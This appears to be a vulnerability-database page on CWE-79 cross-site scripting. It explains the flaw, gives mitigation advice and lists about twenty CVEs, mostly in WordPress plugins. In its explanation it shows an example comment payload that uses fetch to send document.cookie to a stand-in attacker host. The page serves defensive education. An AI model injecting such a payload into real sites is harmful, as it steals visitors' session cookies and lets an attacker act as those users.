Fallos del tipo CWE-79

30.533 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-93897MEDIUMGeoDirectory <= 2.8.181 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Text-type Custom Field (e.g., 'phone')EPSS 0.2%CVE-2025-59569MEDIUMWordPress CubeWP Plugin <= 1.1.26 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-58840MEDIUMWordPress Custom Team Manager Plugin <= 2.4.2 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-58812MEDIUMWordPress Best Restaurant Menu by PriceListo Plugin <= 1.4.3 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-58235MEDIUMWordPress Front End Users plugin <= 3.2.35 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-104735MEDIUMRSS Aggregator by Feedzy <= 5.2.10 - Authenticated (Contributor+) Stored Cross-Site Scripting via Feedzy Loop Block Feed URL / RSS <title>EPSS 0.2%CVE-2026-63147MEDIUMOmnispace Agora Project < 26.10.0 Stored XSS via Uploaded File NameEPSS 0.2%CVE-2025-62255LOWSelf Cross-site scripting (XSS) vulnerability on the edit Knowledge Base article page in Liferay Portal 7.4.0 through 7.4.3.101, and older uEPSS 0.2%CVE-2025-10023MEDIUMA user with elevated privileges can inject XSS in the Services Meta-services configuration pageEPSS 0.2%CVE-2025-60112MEDIUMWordPress aThemes Addons for Elementor Plugin <= 1.1.2 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-58793MEDIUMWordPress WPB Elementor Addons plugin <= 1.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-58605MEDIUMWordPress WP Delicious Plugin <= 1.8.7 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-58602MEDIUMWordPress If-So Dynamic Content Personalization Plugin <= 1.9.4 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-58851MEDIUMWordPress Boxed Content Plugin <= 1.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-58624MEDIUMWordPress Exchange Rates Plugin <= 1.2.5 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-58610MEDIUMWordPress Gallery PhotoBlocks Plugin <= 1.3.1 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-48315MEDIUMWordPress WordPress HTML plugin <= 0.51 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-58826MEDIUMWordPress WP Publication Archive Plugin <= 3.0.1 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-58242MEDIUMWordPress Bg Church Memos Plugin <= 1.1 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2026-96574MEDIUMUser Frontend <= 4.3.12 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'wpuf_payment_method' ParameterEPSS 0.2%